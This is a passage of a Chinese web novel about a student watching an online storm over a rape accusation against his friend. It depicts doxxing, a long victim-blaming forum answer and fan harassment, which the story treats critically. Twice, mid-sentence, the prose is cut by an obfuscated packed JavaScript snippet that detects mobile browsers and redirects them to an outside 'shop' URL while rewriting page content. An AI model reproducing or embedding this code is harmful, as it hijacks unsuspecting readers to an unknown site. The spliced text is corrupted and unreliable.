这位博主把唐泽茹拍的每张自拍都用红笔圈出了P图过的,以及疑似动刀过的地方,以@留几手的毒舌风格把唐泽茹从头到脚点评了个遍。 唐泽茹上传的五星级酒店房间照片,被她扒出是从欧洲旅游博主的博客中偷取的。 唐泽茹用在太浩湖滑雪场拍摄的照片假冒自己去了阿尔卑斯山,也被她无情指出景色不相符的点。 偶尔在唐泽茹照片中出镜的豪宅一角,被她找出是趁着房屋开放日时混进去拍的,“艾登的小迷妹”还放出了房地产经纪人拍的视频,里面有完全一模一样的家具,地毯,还有布局。 唐泽茹在照片里晒出的那些名牌服饰和包包,也被这位博主揭发她买回来全是为了在美国倒卖假货,从她在北美省钱论坛中发布的帖子顺藤摸瓜地揪出了整个流程——她先从官方店买回正品,拍下小票留根,再把自己从国内买回的山寨包退回去,这样,她的钱拿回来了,但正版包包也留在了手上。之后,她就可以利用正品的收据和照片,引诱别人来购买她的山寨“闲置二手”,好赚两手钱。 在置顶微博的结尾,“艾登的小迷妹”说自己还在继续扒皮,后续如果找到了更多黑料,全都会逐一放上来。云决明正看得解气,手机的闹铃却突然聒噪地响了,吓了他一大跳——不知不觉,他已经看了一个小时,房间里的淡淡晨雾都已经从窗帘脚下溜走,泛白的天光越过薄纱,均匀地洒在床脚,是时候起床,准备回学校上课了。 他坐起身,仍然翻来覆去地看着那条置顶微博,丝毫不觉得困倦——这还是自艾登生日以来,他第一次以这么轻松,这么神清气爽的心情面对一天的开始。 □□ 61. Chapter·Eight 从离开祖国的那一刻起,云决明就梦想着回去。 在很长一段时间里,回国这个念头是一束空洞,忧郁的明亮光线,照亮了他的世界仅余的破败残骸。有时候,在即将入眠的刹那,云决明会在紧闭的眼皮后找到一些他自己都早已遗忘的记忆,回想得最多的是八岁那年印尼海啸后,在报纸上看见的照片——人们一脸茫然地走进宛若怪兽余骨的家园,挂着水草和破布的钢筋旁是个被水泡得肿大发胀的床垫,一个男人跪在模糊失色的全家福照片前,还没等他辨认出那是否是自己的家人,未曾完全褪去的潮水便无情地带走了相纸。“我已经不记得自己的家是什么模样了,”其中一位幸存者哽咽地对记者说,“好像海啸也一并摧毁了我的记忆。” 黑暗中,在废墟里寻觅的受难者都消失了,只剩下一个十一岁的男孩,跌跌撞撞地找着回家的路,只有回国这个念头坚定地引导着他,只有那束光线笼罩着他。适应在美国的生活,就像适应一双小了一码,又极度不适的鞋子,在延绵不绝,持续不断的痛苦中,只有这个念头是唯一的希望,是唯一支撑他前进的动力。 但在他意识到他被小姨一家抛弃以后,这个念头就再也没有出现了。 直到遇见艾登。 满载幻想的飞船被他那双浅棕色的双眼填满燃料,又开始愉快地在脑海中缓慢飞翔——云决明想带他回去看看祖国,那也是艾登的祖国,他有四分之三的血液都流淌在那片辽阔的土地上,他应该看看祖先出生的地方,应该看看现在保留下来的几座西关大屋,应该去尝尝那些地地道道的广州美食。他可以带着艾登去看看他的小学,看看他长大的那条街道。夏天到来的时候,遮天蔽日的榕树会将整个街道笼罩在青绿的幽暗中,三三两两,穿着背心的老人在树旁下棋,刚买好菜,接了孩子的家庭主妇匆匆走过,几个学生聚集在卖咖喱鱼蛋和钵仔糕的小店门口,一边说笑一边等着吃食。那样带有烟火气息的美景,是云决明不曾在他处看到的。 也许艾登会从此爱上祖国,决议与自己留下定居,永不离开,再不分离。 然而,现实如同一个无情的黑洞,彻底吞噬了飞船,甚至包括从顶端射出的,那盏再度亮起,空洞又忧郁的光线——当一个人在异国他乡居住了太久,他会在某一刻猛然发现,自己一直盼望能够回归的祖国不过是舟上所刻的一道痕迹。倘若他顺着那道痕迹坠入水中,只会发现自己早已被带到了一个截然不同的世界。在云决明的幻想中,一切会像游子归乡一般熟悉,实际上,他在这一刻幡然醒悟,所谓祖国,其实之于他,已经成了另一个异国他乡。 他是在舆论不断持续发酵的三个多星期里,渐渐地意识到了这一点。 那天早晨——他五点钟就醒来,在微博上发现有人已经开始扒皮唐泽茹的那个早晨——在他记忆中仍然清晰,甚至还能再回味一番当时幸灾乐祸,深感大仇得报的大快心情,两个星期后,同样的一个日光泛白的清晨,斜影在床脚拉出一道工整的光泽,一切看上去并无任何区别,甚至天气也依旧炎热,但此刻云决明坐在床边,心中只有苦涩。 今天,10月20日,威尔逊校长与校田径部主席赫尔曼女士,要共同做出决定,是否继续让艾登留在橄榄球队中比赛。 以及,是否继续让艾登留在橄榄球队中。 * “事情到底是怎么变得如此糟糕的?” 前一天晚上,艾莉询问过云决明这个问题。她这个年纪的美国女孩都不喜欢打电话,动辄就是视频通话。云决明接通了,但他把笔记本电脑放在一旁,摄像头正对着空荡的床铺,自己则坐在桌前,望着那一沓叠放得整整齐齐的打印资料——自从艾登的名字在微博上爆出以后,他就没能再继续做受害人侧写的工作,所有空余的时间都拿来追踪舆论脚步,但是由于中美时差的原因,他还是免不了常常一觉醒来,就发现舆论已经天翻地覆的情形。 “我不知道。”他带着浓浓的倦意说。“我甚至不知道事情从什么时候开始变得糟糕的。” “我觉得是那些微博上的粉丝开始人肉唐泽茹的时候。”艾莉笃定地说道,电脑屏幕里的她穿着可爱的小熊睡衣,双手环抱着坐在书桌前。云决明之前教会了她“人肉”的意思,那之后她就能熟练地使用这个词了。 “艾登的小迷妹”恪守了她的承诺,在把唐泽茹的Instagram扒了个遍以后,新一波扒皮在十几个小时后又来了,这次,唐泽茹的私人信息都被事无巨细地挂出,甚至她本人及小号在微信群里发表过的言论——包括吹嘘自己的家境有多好,声称她的家庭和艾登的家庭是世交,说自己有多么受男生欢迎,以及暗示她是艾登奶奶唯一满意的儿媳,等等,都被这位博主做成了长图,就像被猫抓住的耗子似的,一句句谎言被剥皮开肚,悬挂在耻辱墙上,血淋淋地示于众人面前。每一句话都被评论里的嘲笑鞭打了上百次,那些恶毒的咒骂连对唐泽茹恨之入骨的云决明都有点看不下去。如果文字也有生命,估计早就受不住折磨而羞愤自尽了。 “家境很好?三线小城市卖了套房才勉强供应女儿去美国念书,这叫家境很好?” “和维尔兰德家是世交?我看你去给他家提鞋人家都嫌你下贱。” “受男生欢迎?什么男生?昨天我走街上有个小男孩冲我笑了,看来我也挺受男生欢迎的。” “艾登奶奶唯一满意的儿媳?你要真是的话,艾登还用得着强煎你?” 最后,艾登的小迷妹得出结论,唐泽茹疯狂迷恋艾登,即便她真的和艾登发生了点什么,也根本构不成强煎。而从她过往装逼成性,满口谎言的行为来看,她的故事里有多少是真的都很难说。说不定学校只是好心劝她专心学业,别整这些有的没的,就被她反咬一口,说学校拿钱堵她的嘴。警察是因为证据太少才不立案处理,却被她污蔑成完全不作为。 这条微博被转发了八千多次,基本都认同她的观念。 “一开始,你把这件事告诉我的时候,”艾莉说,“我还有过侥幸的想法,觉得是不是既然他们已经找出了许多能说明唐泽茹是个骗子的证据,我们就不必自己去收集了,可以坐享其成,等着舆论替我们主持公道。” “我也曾经这么想过。”云决明说。有时,回过头来看看,他不可思议地发现自己竟然也曾有这么自私的一面,看见许多女孩拿着艾登的小迷妹做的“证据”,去先前为唐泽茹发声的好几个女性权益博主下面“地毯式反驳”,把底下所有谴责艾登,说强煎犯不得好死的评论都回复了个遍的时候,云决明完全忘记了唐泽茹实际上是一起强煎案的受害人,他就跟那些女孩一样,陷入了情绪的狂欢中,只顾品尝着胸口恶气得出的痛快,把自己受过的一切逻辑教育都抛到了脑后,以为这样就能终结此事,还艾登名誉清白。 在网络上搜索舆论的时候,他发现这件事在另外一个叫“知乎”的网站上也有一定的讨论热度,在瞎说女权发出那条指控艾登为强煎案嫌疑犯的微博几个小时后,就有人在知乎上提问“如何看待U大校橄榄球队华裔四分卫艾登·维尔兰德被指控为一起强煎案的嫌疑犯?” 最高赞的回答自称是在美国留学的大学生,一本正经地从所谓“海外留学华人”的角度,分析了这件事。 一上来,这个叫做竹飞鸿的人就写着: “谢邀,我人在美国,刚刚回去陪家人过了国庆节,才下飞机,这就来回答了。 先说结论,艾登·维尔兰德肯定没有强煎那个叫唐泽茹的女生。 姓交有没有发生,我不好说,毕竟她既然有胆子向美国警察报警,肯定是有点证据的。但是从她投稿里扭扭捏捏,不敢说对方的大名,甚至不敢把对方是华裔这种事情爆出来,我觉得她手上绝对没有铁证如山的证物(比如莱温斯基那条粘有精斑的裙子)来证明上了她的人就是艾登。 其实吧,说句老实话,在美国留学,唐泽茹这种女生,我见的多了。 好好的中国人长相,非要去学欧美人化妆的方式,假睫毛贴得又多又厚,一眨巴起来能扇死苍蝇,眉毛画得跟蜡笔小新似的,发际线一看就是补的——谁在美国上学不秃头啊,骗谁玩啊你?中国人没几个高鼻梁的,就硬是左右两撇那种棕色粉末沾上去,恨不得向八百米开外的人宣布自己有个鼻子。嘴巴就是清一色的大红唇,越红越好,姨妈血要能持久不掉色,她们能用卫生巾抿嘴巴。就这,还怪男生分不出来她们的口红色号。 你说这么打扮有什么目的呢?无非就是想引起男生关注呗。 所以说一个巴掌拍不响,你不上赶着把自己画得比京剧还花的脸凑到男人跟前去,谁特么看你啊?既然没人看你,怎么会被强煎呢? 再来看看她的照片,乍一看,穿的还挺清纯的,是吧?哎哟,碎花小裙子穿起来,外面还要欲盖弥彰地披一件小外套,我说,你真要遮的话,干嘛不把你胸口硬挤出来的那条缝遮一遮啊?这两手臂向内挤的,就是-B都能挤出个+B来。你说她知不知道事业线这玩意对男生来说意味着什么?诱惑大不大?很明显她知道啊,不然干嘛这么费劲巴拉啊?知道的话还故意显摆,这不就是摆明了在给男性发送信号吗? 而且,别的不说了,就说她的腿,还挺细的,也还算直,够得上腿玩年的级别。有些女的呢,是真不知道自己腿好看,有时候穿条七分裤,那个脚踝这么一露,就特别诱人——但这是清纯的诱人,只会激起男性很纯洁的想象,会有发自内心想要去保护这个女孩的冲动。像她这种,就完全不一样了,每一张,都只差把“快看老娘我的腿,它又直又细又白又好看!”明明白白地写在屏幕上的,穿条碎花裙子,你还要特意把裙摆开叉的地方撩到大腿上,你说这司马昭之心它能不人尽皆知吗? 我告诉你,这就基本上把“来上我呀”这几个字,用钢印打在每张照片上了。 所以,你说她被强煎了,抱歉,我还真不信。 以我在美国多年,和那些兄弟会里的白人打交道的经验来看。 这就是钱没拿够,条件没谈拢,才惹出的事。 多半女的看对方是个华裔,以为对方会按照“上了你就要对你负责”这一套来玩,逼宫来了。反正对方是橄榄球明星,名誉上容不得半点丑闻,她现在就是个破鞋,你就是光脚的,你也玩不过一个破鞋啊。 而且,这些美国大学里的兄弟会有多么混乱,有多么藏污纳垢,但凡在美国留学的人都知道,从那种地方出来的,都不是什么好东西,他们看中国人是什么,那篇发在北美吐槽君上的投稿还真没说错,就觉得中国女孩是母狗。你说,你明知道另一个男人把你视为一个根本不值得尊重,唯一的用途就是发泄欲望的容器,还巴巴的往别人家凑,这说明什么呢? 反正,我话就撂这了。这事肯定有反转,就等着男方把女方威胁要钱的录音啥的放出来吧。这种老钱世家出生的华裔,个个精明的很,绝对不会被讹的。这女的也就是在国内跳跳脚,根本撼动不了人家在美国的地位,还什么内定的孙媳妇,听她吹吧。 得了得了,大家都散了啊。” 至今为止,这条回答已经得到了四千多个赞,底下有约莫一百多个答案,论调基本与他相同。也有女生用他这篇回答里的言论来论证唐泽茹根本没有被强煎,这件事不过是她想博出位,想出名,想逼艾登多给些钱罢了。虽说云决明非常厌恶这篇回答里的语气和论调,甚至不认为这是一个真的在美国留学的男性写出的回答,但那时候,任何能伤害唐泽茹的事在他这儿都有豁免权。 不是每个人的想法都跟他一样。 一个叫“女权之音”的微博迅速发声,科普了“恋情内强煎”“婚内强煎”这两个概念,指出即便唐泽茹深爱艾登,只要她不同意,艾登和她之间的性行为仍然属于强煎。只是因为一个女孩对一个男孩有感情,不代表这个男孩能对这个女孩为所欲为。 这在云决明看来,算是非常温和地发表自己的意见,也没有为唐泽茹辩解,只是指出了艾登小迷妹论据中的逻辑错误。但另一个叫做豆瓣热血女子的博主就直白多了,不客气地将那些支持艾登是无辜的女生批判为“颜狗”。“不管出什么事,只要女性是受害者,一定都是最先遭到人肉,最先经受网暴的人,”她愤怒地在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041238|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己微博里写到,“即便你们打算证明艾登·维尔兰德是无辜的,从受害人身上下手算什么?她干得最出格的事情,也就是虚荣心驱使,在网络上对自己的家境和经济状况进行了一些美化和欺瞒而已,用这一点来证明强煎案子虚乌有,未免太可笑。只是因为你以前考试作弊过,你的高考成绩就必须作废了吗?因为一个男性长得帅就无条件地原谅他的一切犯罪行为,祝你们将来不幸遭遇了类似的困境,想要求助却发现无处可去时,记得你今日的慷他人之慨。” 先前那个呼吁大家去U大脸书推特下留言的博主陈海鸥转发了这条微博,言辞比豆瓣热血女子更激烈,在她的微博下爆发了一轮骂战,陈海鸥把每个前来留言艾登粉丝都臭骂了一顿,说她们是吃人血馒头的追星一族。 另一位叫穿山甲666的博主也发声了,她的影响力和粉丝数是参与的几个女性权益博主中最大的,“现在当务之急是让学校正视唐泽茹这起案件,”她的微博写着,“我个人觉得这个案件确实有一些疑点,但现在不管是女王的第一剑,瞎说女权,还是我,都无法再联系上唐泽茹了。但面对一个勇于发声,站出来说自己遭到了性侵的女生,我们还是愿意给她所有的信任,而不是令人心寒的质疑。 “不管怎么说,我认为大家还是要把眼光放得更长远一些,强煎案是否发生了,艾登是否为真凶,这些都必须要依靠当地警察局的调查和取证才能确定,我们在中国这儿远程网络执法,对这件事一点帮助都没有。这件事的核心,说白了,其实不仅是强煎,而是美国大学对华裔留学生——尤其是其中女性群体——的漠视和轻待。U大这样花钱打发强煎受害者的行为应该不是一次两次了,从唐泽茹的投稿来看,对方根本没有把她放在眼里,只认为这是一个好糊弄的年轻女孩,随便吓一吓就会屈服。 “因此,我们这一次必须团结起来,坚决要求U大重视此事,坚决要求当地警察局公正执法。只有这样,才能确保以后中国女性能放心大胆地去国外留学——知道无论走到哪里,无论什么时候,伟大的中国,还有伟大的中国女性,都是她背后坚实的后盾。否则的话,只会有更多唐泽茹涌现。况且,如果艾登·维尔兰德是无辜的,那么最终的司法审判结果也能还他一个清白——这才是支持艾登的迷妹们应该做的,用不容辩驳的法律结果来证明他的无辜,而不是从受害人的品行瑕疵入手。” 如果让云决明来决定的话,他会说是从这条微博发出以后,事态才开始失控的。 这整件事最魔幻的地方就在于,无论再怎么客观中立的观点,或者是如何试图拨乱反正的行为,都无法带来预期的结果,反而只将舆论往一个更加混乱,危险的方向引去,并最终酿成了今天的苦果。 “艾登——我哥哥他怎么样了?”长久的沉默,云决明甚至都忘记了他还在和艾莉视频通话时,她的声音又响起了,小心翼翼地。 “他说想早点休息,九点钟就回自己的房间去休息了。” “我想他一定睡不着。” “我想也是。” “你应该去看看他。” “男生不会这么温存地对待朋友,他们通常都会让朋友自己待着。” “去你的,”艾莉爆粗了,“这是借口,也是性别歧视,你很清楚这一点。” “那撇开这一点不谈,说不定艾登不想让任何人打扰他呢?”云决明叹了一口气。 “就算是这样,那你也除外。” “别胡说了。”云决明皱起眉头。 “他需要你。” “我不想去打扰他,艾莉。” “你不想去打扰他,还是你担心在黑暗的卧室中,看见了脆弱又痛苦的他,你会忍不住想要亲吻对方的冲动?”艾莉干脆地问道。 云决明的沉默已经说明了答案是哪一个。 “那你就当做是他妹妹的恳求,”艾莉轻声说,“我了解我的哥哥——虽然可能程度不如你这个才认识了他不到一年的朋友,我一直很气这件事——我认为,今晚艾登真的会非常需要你。” 云决明仍然没说话。 他不愿相信自己对艾登来说有那么重要。 相信了,就意味着他要面对一个残酷无比的现实:即便他的存在之于艾登是那么的独一无二,他仍然只能是他的朋友。 没有独一无二到能让艾登爱上他,也不会独一无二到不可取代。 他宁愿相信自己只是艾登的好朋友,一个可有可无,失去了联系也不会觉得有多么失落的存在。就如同在冬季仰望乔戈里峰的登山家,他宁愿相信自己没有能力征服那座山峰,也好过信心满满,自以为是地向上攀爬,却在历经种种艰难险阻后,意识到自己永远也不能登上顶峰,只能在孤寂,冰寒,饥渴交加中,痛苦死去。 “Please,Ming.”艾莉双手撑在桌子上,恳切地望着他。 “早点休息吧,艾莉。” “Please——”艾莉提高了声音。 “我也要休息了,明天说不定会有很多事情要忙。我先挂了。” 电脑屏幕进入休眠以后,没有开灯的房间彻底陷入了黑暗,云决明呆呆地坐在椅子上,他以为自己会思绪万千,但实际上他的大脑一片空白,什么都想不起,像闭着眼睛在脑海里玩捉鬼的游戏,长大后的云决明独自在黑暗中摸索,空旷的场地上风声呼呼作响,所有曾在记忆中出现过的人都各自躲藏起来。然而不管他往哪个方向奔跑,不管他如何寻找,最后他伸手碰到的,都是艾登。 一睁眼,他又仿佛回到了人声鼎沸的体育场,一身猩红的艾登站在球场中心。上万名观众尖叫着喊出他的名字,声浪在空气中化为了有形的震动,和着云决明的心跳声一同响起。艾登的视线始终没离开过自己,仿佛无论自己身在何处,千万人中,他都能准确找到自己,他都只会看见自己。 明天过后,他有可能这辈子都再也无法看到那样意气风发,眉眼生辉的艾登了。 云决明深吸一口气,站起身,他迈出了一步,又是一步,然后是更多步。 直到停在艾登门前。 62. Chapter·Nine 像一只悄悄从半开的窗户潜飞入屋内的小小飞蛾,云决明无声无息又小心翼翼地,在艾登的床边跪了下来。 床铺的另一边放着一块顶天立地的大落地镜,云决明在反射中瞧不见自己,仿佛他天生具有某种伪装,完美地与夜色及身后的六斗柜融为一体,只要他不动,就似飞蛾静止在月影,有点像一副十七世纪时的油画被忽视的一角,只有不够高的孩童仰望时能找到画家藏在油墨中的轮廓,看见被细细描绘在翅膀上的静默语言与斑驳词语——也许画家只是偶然在作画过程中瞧见了它,如此安静又如此孤寂,便决定让它永远保持那副模样。 飞蛾远离原野,进入人类的世界是为了什么呢? 大约是为了赴火吧。 乱七八糟的思绪像堆满杂物的阁楼,让人一下子忘记了上来是为了寻找什么。云决明只是出神地望着镜子里的倒影,艾登睡觉时只穿着一条短裤,裸露出的胳膊就这么随意搭在被单上,从反射里能看见另一侧的肌肉与轮廓,微微起伏的一条紧致直线,能看出三头肌,肱二头肌,及肱三头肌各自分明的界限。人类在还未学会自立行走以前就学会了崇拜蕴含着力量与爆发的肌肉,这是从本能中诞生的渴望。从镜子瞧见它,只莫名地增添了一份旖旎。 胳膊往上,是肩膀。肩膀往上,是锁骨。锁骨往上,是艾登靠在枕头上,沉沉睡去的脑袋,浅棕色头发遮盖了大部分五官,只有睫毛尖与鼻尖从柔软中挣脱,一点点胡茬如连接着森林的草地,在脸颊上与碎发短兵相接。他曾经在那儿留下了一个小小的吻,指尖还记得那砂砾般的触感,如同对美食流连忘返的老饕,又开始食指大动。 在发现艾登已经熟睡的那一刻他就应该离开,但云决明纵容自己走到了床边,纵容了自己跪下,纵容了自己又多停留了许久,如今他已经没有毅力能将自己地上拽起。他不自觉地屏住了呼吸,生怕自己粗重的鼻息会吹乱艾登的发丝,明明他离那张熟睡的脸庞还有一段距离,云决明却觉得艾登的双唇已在嘴边,只要他闭上双眼,微微前倾,就能跨越那不可逾越的界限,攀爬至乔戈里峰的顶端,俯身亲吻那一捧洁白的雪。 就一下。 轻轻的一下。 像飞蛾拂过一般。 快得他哪怕醒着也无法察觉。 但云决明双腿僵硬,上半身犹如泥塑,半点也动不了。王子在荆棘城堡中发现睡美人的时候,是不是也是这种感受?他心想。只不过,以现在的情形来看,大约是想溜进城堡偷东西的贫儿发现了从出生就被诅咒的王子,会更贴切。 “有许多人都爱慕着您。”这大约是被容貌震惊得说不出话来的贫儿会在王子耳旁说的话。“虽然他们都没有亲眼见过您,却仍然将您奉为未来的君主。” 贫儿会说的这番话放到现实中,也没有错。在那个艾登还素未谋面的祖国,已经有成千上万的女孩成为了他的死忠粉丝,尽管艾登对此一无所知,那些女孩也从来没有亲眼见过他一面。 知乎上有“如何看待艾登·维尔兰德涉嫌强煎一名中国女留学生的案件?请问大家真的觉得唐泽茹被他强煎了吗?”这么一个问题,但底下的回答清一色都在吹嘘艾登,点进来看的用户似乎也只想看照片和生平介绍,这个问题数度被修改为“如何看待艾登·维尔兰德这个人”又被修改回去,但对底下的答案一点影响都没有。 最高赞答案兴致勃勃地写着“未完待续,等我扒出更多资料以后会回来继续更新的,好多都是我千辛万苦从外网的采访和报道里找出的,甚至还去翻阅了90年代的杂志,希望大家能尊重我的劳动成果,不要随意转载,转载请注明我的名字。” 评论则是一群只会“啊啊啊啊”,嗷嗷待哺的小鸟。 答案详详细细列出了—— 艾登的出生年月日。 艾登从小到大就读过的学校。 艾登父亲的案件从侦破到审判再到肯尼入狱的全过程。 艾登所有曾经发在社交网络上的照片——不限于他本人发过的。 艾登家的粗略住址(竟然是从他平时喜欢发的定位中推理出来的,云决明看呆了)。 艾登的车子型号;艾登所在球队赢得的每一场比赛;(功劳全部归给艾登的英明指挥与得天独厚的运动天赋);艾登的SAT成绩;艾登高中时随性而至,发在脸书上的英语诗歌(被自称英语专业的答主拿去翻译并逐字逐句解析了一通,得出了艾登具有无与伦比的文学天赋这样的结论)。 还有,最让他觉得不可思议的——艾登母亲的生平,竟然也被人扒出来了。 云决明这时才知道,原来祝阿姨是上海人,父亲是上海交响乐团的团长,她是家中独女,有个叔叔早年在海外做生意。她念初中时就离开了中国,前往美国留学,并在叔叔婶婶的支持和照顾下考取了P大——这些内容,全都是网友从当年祝阿姨父亲接受的采访中扒出的,竟然有那个毅力专程跑到图书馆翻旧杂志,云决明不知道自己该因此感到恶心,还是该感到敬佩好。 这篇回答的撰写者甚至从旧报纸的新闻里,还有美国报纸的讣告上找到了祝阿姨父母,及她叔叔婶婶的去世消息。怪不得艾登从来没提起过他的外公和外婆,也怪不得艾莉会有那么高超的音乐天赋,看来是从母亲那边遗传下来的。 有这种宛若小说男主角一般苏炸天的背景,以及小说男主角一般苏炸天的长相,艾登在国内得到了无条件的追捧,有很多营销号刻意回避了唐泽茹一事,真的把艾登吹成了橄榄球界的林书豪,像病毒式传销一样,迎来了越来越多对强煎案一无所知,只冲着颜值去的新粉丝,她们已经对艾登有了先入为主的固定印象,比起最先在强煎案微博下知道艾登的那一批迷妹更激进,也更冲动。甚至认为,即便退一万步说,艾登确实和唐泽茹之间有点什么龃龉,学校为了更高的利益包庇艾登的做法也没有错,认为女权博主在海外呼吁学校重视这件事的做法,无异于将家丑外扬,丢了国人的脸。 这种言行,急剧加重了女权博主与艾登支持者之间的矛盾。 但沉睡的王子对这一切都不知情。 云决明不知道该怎么把这些事情告诉艾登,每天国内的舆论都在急剧变化,他自己要跟上往往都得花好几个小时的时间一条一条地翻微博,上豆瓣搜关键词看小组帖子,把知乎新回答的内容都搜罗一遍,有些行为即便是他也难以理解,更别说让艾登明白了。 比如说,艾登肯定不会明白,为什么那些因为他的天赋及容貌而喜欢上他的女孩,会去主动攻击穿山甲666那个博主——尤其是她打码展现了她收到的十几封私信以后。 发信的都是在海外遭受了性骚扰甚至是性侵,不知道该去哪求助,不知道该怎么求助的女孩。内容基本是感谢穿山甲666号召女性们团结起来,督促学校尽快处理唐泽茹案件的内容。“如果我遭受了性骚扰以后也能有这么多国内的姐妹为我撑腰就好了,”其中一个女孩写着,“也许那样我会更快地振作起来,不会数次尝试自杀未遂,最后没法继续我在海外的学业,不得不回国生活。” 但新一代粉丝认为,这个行为等于明明白白地告诉艾登,他的祖国背弃了他。 自从华人踏上美国的土地,百年以来都没有出过一个颇负盛名的华裔明星四分卫。东亚病夫的帽子长久地扣在中国人头上,至今也没有完全摘掉。中国人就是戴着厚底眼镜,数学很好,木讷不爱说话的技术宅男,别说担任橄榄球四分卫这样需要具备极其高超领导能力的角色,就是加入橄榄球队,都是一件不太可能的事情。艾登的新一代粉丝认为,这种时候就应该以大局为重。要知道,艾登是能切切实实为国争光的,能让美国人重新正视他们刻板印象里的中国人。所以,为什么要为了唐泽茹这么一个无足轻重,劣质斑斑,被强煎也就被强煎了的表子,毁了艾登大好的光明运动前程? 这种由中国布满血泪的近代史创伤而带来的心态,没有在国内生活过,实在是难以切身体会。 可是,艾登还会想要在国内生活吗? 这个心酸的想法稍稍带回了一点头脑中的理智,但就如永不会停止的潮水,咸涩的海水会再一次反扑上沙滩,洗刷出最原始,也是最本能的欲望,浪花每次淹过脚面,都会留下一句私语,一个字就是一颗散落在砂砾与肌肤间的盐粒—— 就一下。 轻轻的一下。 像飞蛾拂过一般。 快得他哪怕醒着也无法察觉。 云决明说不清自己在这儿跪了多久,每当他想要更凑近一点,总会觉得艾登看起来似乎下一秒就会醒来;每当他稍稍后仰一些,艾登又似乎滑向了更深的舒眠,即便是一个绵长的吻也无法将他唤醒——因为云决明很清楚,那绝不会是真爱之吻,只会是一个被玫瑰所吸引的贫儿,情不自禁地将自己仍然沾着煤灰的嘴唇颤抖紧贴嫣红花瓣,那一吻不是唤醒,而是玷污。 可是,人怎能像他渴望艾登那样,深切地渴望一件存在的事物?有时候这种渴望如此强烈,几乎让云决明认为它才是维持自己生存下去所最需要的物质——比如溺死之人渴望空气,囚禁之人渴望自由,沙漠旅人渴望绿洲,强烈到可以冲碎任何理智铸造的栅栏,像被囚禁在岛上的拿破仑,被放逐到了那么遥远的地方,却仍然对法国具有无与伦比的号召力。 他最终屈从了。 然而,在渴望化为实质,成为落在唇上的一吻前,随之一同奔出的还有别的情绪——别的无法用心理学,也无法用生物学解释的情绪,整个人类文明形成的密码,仿佛都藏在这些说不清道不明的情感中,千百万年,大师将它写成凄美诗篇,将它绘为永恒画作,塑成不朽雕像,每个哲学家穷其一生都想究明它背后蕴藏的逻辑。它被赋予了这么多意义,却轻飘飘地,比一只飞蛾的重量还要更轻,无声无息,比最深的夜色还要宁静,失色失光,比马里亚纳海沟的最深处还更要荒芜,但它的力量却举世无双,能让一朵鲜花绽放,能让春天在大地苏醒,能让微笑重新出现。 能在最后一刻牵住了云决明,使他最终颤抖吻下的,不过是艾登垂在床边的指尖。 这样就足够了。贫儿说。 像他这样的人——一只小小的飞蛾,从黑暗中破卵而出,拼尽全力只为找寻一丝火光——没有资格拥有美好。 但云决明仍然不愿起身,他唇边还留着炙热的触感,这偷来的一刻似美梦最深处的天堂,即便遥遥听见了闹钟的声音,却贪恋着不肯醒来。 艾登为何能睡得这么安稳?云决明忽地想到这一点。明天,他就要接受命运的宣判,云决明和艾莉一样,都以为他今夜会辗转反侧,难以入眠。 不过,幸好,唐泽茹拒绝出席明日在U大召开的会议,至少艾登不必见到她,这是值得庆幸的一点。 在舆论逐渐发酵的这三个星期里,唐泽茹缺席了绝大多数的骂战,甚至都没有像疏眠所预料的那样,向女权博主爆料关键证据被U大给销毁了这件事。 她只出现过一次,发表了一次宣言。之后又消失了。 云决明认为,她的逃避多半是因为她没料到指控竟然会落在艾登头上,也没有想到这件事的热度会一下子上升到这个高度,慌了,不知道该怎么应对,担心自己继续发声不仅会使已经撒了的谎言悉数被戳破,还会让事态继续恶化,所以才干脆当起了缩头乌龟。 然而,她越是不说话,网友就越是怀疑,她恐怕已经被维尔兰德家或者是杰森家给“处理”了。 这其中,又以那些不断联系她,却没有得到任何回音的女权博主为甚。唐泽茹的沉默使得她们手上能拿来反驳网友的证据非常有限,也没有办法推动案件往下一步走。为了她的事与网友吵了一个星期架以后,甚至有部分女权博主也倒戈了,不点名地在自己的私人微博里臭骂了一顿唐泽茹,大意是觉得大家都为了她付出了时间和善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041239|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,结果她这么不负责任地玩失踪,弄得大家都很憋屈。妙的是,曾经为唐泽茹奔走求助,多方呼吁的好几个博主——女王的第一剑,瞎说女权,还有陈海鸥,都点赞了这条微博。 只有少数以穿山甲666的博主带头的女权博主没有放弃,大概是因为她们几个的诉求不仅仅集中在唐泽茹的案件上,也注重在保护女性留学生在海外国家的基本权益上。她稍后发起了刷“请U大正视中国女留学生强煎案”“请U大停止包庇特权人士”“中国女留学生也有权利”“U大用钱打发被强煎的女留学生”这几个tag行动。有许多女孩都响应了,她们把唐泽茹的讲述翻译成英文,制作了简单易懂的时间线,积极地在脸书和推特上四处奔走,不厌其烦地跟每一个好奇点进来问问发生了什么事的美国人解释,并请求在海外有一定影响力的华人博主帮忙推广此事,引起更多关注。 穿山甲666在发起活动时曾经明确在微博上说过,除非警察确认艾登就是强煎犯,她不会在刷的话题中带上艾登的名字。但随着这些话题的讨论度越来越高,越来越多美国人了解唐泽茹的案件详情,甚至还有两个在海外有一定人气的美妆穿搭博主公开在自己的视频里谈论了这件事情,呼吁身在美国的留学生都去声援。有一部分艾登的粉丝坐不住了,认为艾登的名字迟早都会出现,仍然会对他的名誉造成毁灭性的打击。 